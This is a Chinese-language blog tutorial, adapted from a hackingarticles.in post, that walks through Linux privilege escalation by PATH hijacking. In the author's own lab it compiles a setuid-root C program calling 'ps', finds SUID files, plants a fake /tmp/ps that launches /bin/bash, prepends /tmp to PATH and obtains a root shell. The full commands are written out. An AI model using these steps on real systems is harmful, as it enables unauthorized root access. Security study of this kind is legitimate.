利用PATH提升linux權限
參考地址:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
這篇文章是我學習大佬的博客,加上自己的理解寫的,大佬寫的更詳細,總共寫了4種方法,但是在我看來這都是一種方法,所有我加上我淺薄的理解,總結了一個方法,
1.介紹
PATH 是 Linux 和類 Unix 作業系統中的環境變數,它指定存盤所有可執行程式的所有 bin 和 sbin 目錄,當用戶在終端上運行任何命令時,它會請求 shell 在 PATH 變數的幫助下搜索可執行檔案,以回應用戶執行的命令,超級用戶通常還具有 /sbin 和 /usr/sbin 條目,以便輕松執行系統管理命令,
借助echo 命令查看相關用戶的路徑非常簡單,
echo $PATH

如果你注意到'.' 在環境 PATH 變數中,這意味著登錄的用戶可以從當前目錄執行二進制檔案/腳本,這對于攻擊者來說是一種提升 root 權限的極好技術,這是由于撰寫程式時缺乏注意,因此管理員沒有指定程式的完整路徑,
個人理解:
就是在/bin/,/sbin/目錄下面的命令我們可以在任何目錄下面直接呼叫,不需要加上絕對路徑,比如cat,echo,id,
ps,ls,vim,你會發現這些都在/usr/bin/ 或者/usr/sbin/目錄下面,所有你呼叫這些命令不需要加上絕對路徑,可
以直接呼叫,這篇文章說的就是改寫這些命令進行覆寫原來的命令,比如改寫一個ps覆寫原來呼叫的/usr/bin/ps這個系
統命令,改寫的ps里面我們寫上我們的內容,然后進行覆寫去執行,達到提權的目的,(現在沒看懂沒關系,可能我表達
不是很好,往后看你就都明白了!??)

2.創建測驗檔案demo.c
我們現在目前是root權限:

我們進入/home/tzf目錄下面創建一個新目錄script,然后在這個目錄下面寫一個c程式,這個c程式里面會呼叫一個系
統命令ps(當然了!,你也可以呼叫echo,cat,ls,vim隨便哪一個系統命令都可以,大佬的文章寫了四個命令,我這里
就講解這一個吧,其他的用法大同小異,大家可以去膜拜膜拜大佬寫的!??)
命令:
mkdir script
cd script
touch demo.c
vim demo.c
demo.c 內容:
void main()
{
setuid(0);
setgid(0);
system("ps");
}

不好意思,這里忘記切換進去script檔案夾了??,在哪個檔案夾下面都一樣的其實,
正如您在我們的 demo.c 檔案中所觀察到的,我們正在呼叫 ps 命令(行程狀態),它是系統二進制檔案,跟ls,cat,vim,echo都是一樣的,
3.編譯demo.c檔案并加上權限
gcc demo.c -o shell
chmod u+s shell
ls -al

我們可以看到現在shell就是demo.c經過編譯得到的二進制檔案,demo.c的內容就是呼叫系統命令ps,然后shell這個二進制檔案他的用戶是root,但是普通用戶也是可以以root權限去執行二進制檔案的,因為我們加了s權限,
關于chmod u+s命令的解釋:https://www.cnblogs.com/bruce1992/p/14307745.html

現在我們切換到普通用戶tzf,就是說我們已普通用戶去執行shell這個檔案是用的root權限去執行的,這么說大家應該能理解,我們發現shell它會去呼叫ps這個命令,我們現在可以看到ps這個命令現在是在/usr/bin/目錄下面的,就是說我們現在執行./shell這個檔案是呼叫的/usr/bin/ps這個命令,后面接著看??,

4.提權
首先,您需要破壞目標系統,然后進入提權階段,假設您通過 ssh 成功登錄到受害者的機器,然后不用浪費時間,在 Find 命令的幫助下搜索具有 SUID 或 4000 權限的檔案,
find / -perm -u=s -type f 2>/dev/null
因此在上述命令的幫助下,攻擊者可以列舉任何可執行檔案,在這里我們還可以觀察到/home/tzf/script/shell具有 suid 權限,suid權限就是我們剛剛加的u+s,

可以看到這個就是我們剛剛寫進去的二進制檔案shell
這里我就以普通用戶tzf做演示,就當我通過ssh連上tzf這個普通用戶然后提權到root用戶,
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/tzf/script
./shell
whoami

5.個人理解
可以看到第三步的時候我們執行./shell這個命令呼叫的ps是/usr/bin/ps這個命令,但是最后我們在第四步執行的./shell這個命令,此時ps這個命令的絕對路徑變成了/tmp/ps,然后/tmp/ps是我們自己創建的一個檔案,里面內容是/bin/bash,所有我們在第四步是以root權限去執行的./shell這個命令,同時也是以root權限去執行的ps命令,也就是執行的/bin/bash,所以我們成功提權到了root的終端,成功提權,
有人可能會問為什么不呼叫/usr/bin/ps,而是去呼叫的/tmp/ps呢,/usr/bin/ps這個檔案難道沒了嗎?不沒有,不信你可以執行cd /usr/bin;ls | grep ps看看,ps檔案其實還在,我猜測應該是因為我們的/tmp/ps加在了$PATH環境變數的最前面,而且當我們執行ps這個命令的時候,他去環境變數里面找應該是從頭到尾開始找,找到了就停止了,所以先找到的是/tmp/ps這個命令,就直接呼叫了,所以并不是/usr/bin/ps被/tmp/ps覆寫了,只是被攔截了!??,這只是我個人的理解,如果有誤請大佬指正!
我經過查證確實如此
https://blog.csdn.net/chanzhennan/article/details/84140301
這里有實戰測驗和靶場環境,大家可以去看看:
https://www.cnblogs.com/tzf1/p/15410447.html

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/343019.html
標籤:其他
下一篇:Allure快速入門
